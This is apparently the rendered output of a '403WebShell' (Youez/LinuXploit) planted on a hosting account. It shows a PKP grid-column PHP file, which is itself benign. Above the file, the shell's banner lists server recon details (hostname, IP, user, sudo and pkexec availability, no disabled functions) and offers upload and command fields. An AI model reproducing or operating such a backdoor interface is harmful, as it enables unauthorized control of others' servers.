Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/quarantine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/quarantine/FileNameGridColumn.php
<?php

/**
 * @file controllers/grid/files/FileNameGridColumn.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class FileNameGridColumn
 *
 * @ingroup controllers_grid_files
 *
 * @brief Implements a file name column.
 */

namespace PKP\controllers\grid\files;

use PKP\controllers\api\file\linkAction\DownloadFileLinkAction;
use PKP\controllers\grid\ColumnBasedGridCellProvider;
use PKP\controllers\grid\GridColumn;
use PKP\controllers\grid\GridHandler;
use PKP\submissionFile\SubmissionFile;

class FileNameGridColumn extends GridColumn
{
    /** @var bool */
    public $_includeNotes;

    /** @var int */
    public $_stageId;

    /** @var bool */
    public $_removeHistoryTab;

    /**
     * Constructor
     *
     * @param bool $includeNotes
     * @param int $stageId (optional)
     * @param bool $removeHistoryTab (optional) Open the information center
     * without the history tab.
     */
    public function __construct($includeNotes = true, $stageId = null, $removeHistoryTab = false)
    {
        $this->_includeNotes = $includeNotes;
        $this->_stageId = $stageId;
        $this->_removeHistoryTab = $removeHistoryTab;

        $cellProvider = new ColumnBasedGridCellProvider();

        parent::__construct(
            'name',
            'common.name',
            null,
            null,
            $cellProvider,
            ['width' => 70, 'alignment' => GridColumn::COLUMN_ALIGNMENT_LEFT, 'anyhtml' => true]
        );
    }


    //
    // Public methods
    //
    /**
     * Method expected by ColumnBasedGridCellProvider
     * to render a cell in this column.
     *
     * @copydoc ColumnBasedGridCellProvider::getTemplateVarsFromRowColumn()
     */
    public function getTemplateVarsFromRow($row)
    {
        $submissionFileData = $row->getData();
        $submissionFile = $submissionFileData['submissionFile'];
        assert($submissionFile instanceof SubmissionFile);
        $fileExtension = pathinfo($submissionFile->getData('path'), PATHINFO_EXTENSION);
        return ['label' => '<span class="file_extension ' . $fileExtension . '">' . $submissionFile->getId() . '</span>'];
    }


    //
    // Override methods from GridColumn
    //
    /**
     * @copydoc GridColumn::getCellActions()
     */
    public function getCellActions($request, $row, $position = GridHandler::GRID_ACTION_POSITION_DEFAULT)
    {
        $cellActions = parent::getCellActions($request, $row, $position);

        // Retrieve the submission file.
        $submissionFileData = & $row->getData();
        assert(isset($submissionFileData['submissionFile']));
        $submissionFile = $submissionFileData['submissionFile']; /** @var SubmissionFile $submissionFile */

        // Create the cell action to download a file.
        $cellActions[] = new DownloadFileLinkAction($request, $submissionFile, $this->_getStageId());

        return $cellActions;
    }

    //
    // Private methods
    //
    /**
     * Determine whether or not submission note status should be included.
     */
    public function _getIncludeNotes()
    {
        return $this->_includeNotes;
    }

    /**
     * Get stage id, if any.
     *
     * @return mixed int or null
     */
    public function _getStageId()
    {
        return $this->_stageId;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit